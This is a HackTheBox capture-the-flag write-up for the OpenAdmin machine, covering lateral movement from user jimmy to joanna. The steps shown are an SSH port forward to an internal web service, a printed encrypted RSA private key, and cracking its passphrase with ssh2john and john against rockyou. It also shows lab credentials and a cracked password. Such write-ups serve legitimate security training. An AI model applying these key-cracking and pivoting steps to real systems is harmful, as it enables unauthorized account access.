> For the complete documentation index, see [llms.txt](https://kashz.gitbook.io/hackthebox-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kashz.gitbook.io/hackthebox-writeups/htb-boxes/openadmin/5-jimmy-greater-than-joanna.md). # 5 jimmy > joanna ``` ls -la total 16 drwxr-xr-x 4 root root 4096 Nov 22 2019 . drwxr-xr-x 14 root root 4096 Nov 21 2019 .. drwxr-xr-x 6 www-data www-data 4096 Nov 22 2019 html drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 internal lrwxrwxrwx 1 www-data www-data 12 Nov 21 2019 ona -> /opt/ona/www Can access the internal folder ls -la total 20 drwxrwx--- 2 jimmy internal 4096 Nov 23 2019 . drwxr-xr-x 4 root root 4096 Nov 22 2019 .. -rwxrwxr-x 1 jimmy internal 3229 Nov 22 2019 index.php -rwxrwxr-x 1 jimmy internal 185 Nov 23 2019 logout.php -rwxrwxr-x 1 jimmy internal 339 Nov 23 2019 main.php cat index.php if ($_POST['username'] == 'jimmy' && hash('sha512',$_POST['password']) == '00e302ccdcf1c60b8ad50ea50cf72b939705f49f40f0dc658801b4680b7d758eebdc2e9f9ba8ba3ef8a8bb9a796d34ba2e856838ee9bdde852b8ec3b3a0523b1') { jimmy:Revealed jimmy@openadmin:~$ netstat -anot Active Internet connections (servers and established) Proto Recv-Q Send-Q Local Address Foreign Address State Timer tcp 0 0 127.0.0.53:53 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:3306 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN off (0.00/0/0) tcp 0 0 10.10.10.171:54360 10.10.16.161:6969 CLOSE_WAIT off (0.00/0/0) tcp 0 0 10.10.10.171:41106 10.10.16.161:7070 CLOSE_WAIT off (0.00/0/0) tcp 0 0 10.10.10.171:54376 10.10.16.161:6969 CLOSE_WAIT off (0.00/0/0) tcp 0 252 10.10.10.171:22 10.10.16.161:38516 ESTABLISHED on (0.22/0/0) tcp 0 0 10.10.10.171:41088 10.10.16.161:7070 CLOSE_WAIT off (0.00/0/0) tcp 0 0 10.10.10.171:54374 10.10.16.161:6969 CLOSE_WAIT off (0.00/0/0) tcp 0 0 10.10.10.171:54368 10.10.16.161:6969 CLOSE_WAIT off (0.00/0/0) tcp6 0 0 :::22 :::* LISTEN off (0.00/0/0) tcp6 0 0 :::80 :::* LISTEN off (0.00/0/0) tcp6 1 0 10.10.10.171:80 10.10.16.161:41092 CLOSE_WAIT keepalive (3763.94/0/0) tcp6 1 0 10.10.10.171:80 10.10.16.161:40922 CLOSE_WAIT keepalive (3185.27/0/0) tcp6 1 0 10.10.10.171:80 10.10.16.161:41356 CLOSE_WAIT keepalive (4308.70/0/0) tcp6 1 0 10.10.10.171:80 10.10.16.161:40802 CLOSE_WAIT keepalive (2720.84/0/0) tcp6 1 0 10.10.10.171:80 10.10.16.161:41198 CLOSE_WAIT keepalive (4096.33/0/0) tcp6 1 0 10.10.10.171:80 10.10.16.161:40488 CLOSE_WAIT keepalive (1609.35/0/0) tcp 0 0 127.0.0.1:52846 0.0.0.0:* LISTEN off (0.00/0/0) jimmy@openadmin:~$ curl 127.0.0.1:52846 returns internal/index.php $ ssh -L 9090:localhost:52846 jimmy@10.10.10.171 http://localhost:9090 shows login jimmy:Revealed -----BEGIN RSA PRIVATE KEY----- Proc-Type: 4,ENCRYPTED DEK-Info: AES-128-CBC,2AF25344B8391A25A9B318F3FD767D6D kG0UYIcGyaxupjQqaS2e1HqbhwRLlNctW2HfJeaKUjWZH4usiD9AtTnIKVUOpZN8 ad/StMWJ+MkQ5MnAMJglQeUbRxcBP6++Hh251jMcg8ygYcx1UMD03ZjaRuwcf0YO ShNbbx8Euvr2agjbF+ytimDyWhoJXU+UpTD58L+SIsZzal9U8f+Txhgq9K2KQHBE 6xaubNKhDJKs/6YJVEHtYyFbYSbtYt4lsoAyM8w+pTPVa3LRWnGykVR5g79b7lsJ ZnEPK07fJk8JCdb0wPnLNy9LsyNxXRfV3tX4MRcjOXYZnG2Gv8KEIeIXzNiD5/Du y8byJ/3I3/EsqHphIHgD3UfvHy9naXc/nLUup7s0+WAZ4AUx/MJnJV2nN8o69JyI 9z7V9E4q/aKCh/xpJmYLj7AmdVd4DlO0ByVdy0SJkRXFaAiSVNQJY8hRHzSS7+k4 piC96HnJU+Z8+1XbvzR93Wd3klRMO7EesIQ5KKNNU8PpT+0lv/dEVEppvIDE/8h/ /U1cPvX9Aci0EUys3naB6pVW8i/IY9B6Dx6W4JnnSUFsyhR63WNusk9QgvkiTikH 40ZNca5xHPij8hvUR2v5jGM/8bvr/7QtJFRCmMkYp7FMUB0sQ1NLhCjTTVAFN/AZ fnWkJ5u+To0qzuPBWGpZsoZx5AbA4Xi00pqqekeLAli95mKKPecjUgpm+wsx8epb 9FtpP4aNR8LYlpKSDiiYzNiXEMQiJ9MSk9na10B5FFPsjr+yYEfMylPgogDpES80 X1VZ+N7S8ZP+7djB22vQ+/pUQap3PdXEpg3v6S4bfXkYKvFkcocqs8IivdK1+UFg S33lgrCM4/ZjXYP2bpuE5v6dPq+hZvnmKkzcmT1C7YwK1XEyBan8flvIey/ur/4F FnonsEl16TZvolSt9RH/19B7wfUHXXCyp9sG8iJGklZvteiJDG45A4eHhz8hxSzh Th5w5guPynFv610HJ6wcNVz2MyJsmTyi8WuVxZs8wxrH9kEzXYD/GtPmcviGCexa RTKYbgVn4WkJQYncyC0R1Gv3O8bEigX4SYKqIitMDnixjM6xU0URbnT1+8VdQH7Z uhJVn1fzdRKZhWWlT+d+oqIiSrvd6nWhttoJrjrAQ7YWGAm2MBdGA/MxlYJ9FNDr 1kxuSODQNGtGnWZPieLvDkwotqZKzdOg7fimGRWiRv6yXo5ps3EJFuSU1fSCv2q2 XGdfc8ObLC7s3KZwkYjG82tjMZU+P5PifJh6N0PqpxUCxDqAfY+RzcTcM/SLhS79 yPzCZH8uWIrjaNaZmDSPC/z+bWWJKuu4Y1GCXCqkWvwuaGmYeEnXDOxGupUchkrM +4R21WQ+eSaULd2PDzLClmYrplnpmbD7C7/ee6KDTl7JMdV25DM9a16JYOneRtMt qlNgzj0Na4ZNMyRAHEl1SF8a72umGO2xLWebDoYf5VSSSZYtCNJdwt3lF7I8+adt z0glMMmjR2L5c2HdlTUt5MgiY8+qkHlsL6M91c4diJoEXVh+8YpblAoogOHHBlQe K1I1cqiDbVE/bmiERK+G4rqa0t7VQN6t2VWetWrGb+Ahw/iMKhpITWLWApA3k9EN -----END RSA PRIVATE KEY----- Don't forget your "ninja" password Cannot connect using ssh or su $ /usr/share/john/ssh2john.py id_rsa > ssh.hash $ john --wordlist=/usr/share/wordlists/rockyou.txt ssh.hash Using default input encoding: UTF-8 Loaded 1 password hash (SSH [RSA/DSA/EC/OPENSSH (SSH private keys) 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes Cost 2 (iteration count) is 1 for all loaded hashes Will run 8 OpenMP threads Note: This format may emit false positives, so it will keep trying even after finding a possible candidate. Press 'q' or Ctrl-C to abort, almost any other key for status bloodninjas (id_rsa) Warning: Only 2 candidates left, minimum 8 needed for performance. 1g 0:00:00:01 DONE (2021-06-10 21:59) 0.6134g/s 8798Kp/s 8798Kc/s 8798KC/sa6_123..*7¡Vamos! Session completed $ ssh -i id_rsa joanna@10.10.10.171 Enter passphrase for key 'id_rsa': bloodninjas joanna@openadmin:~$ whoami;id joanna uid=1001(joanna) gid=1001(joanna) groups=1001(joanna),1002(internal) ``` --- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://kashz.gitbook.io/hackthebox-writeups/htb-boxes/openadmin/5-jimmy-greater-than-joanna.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.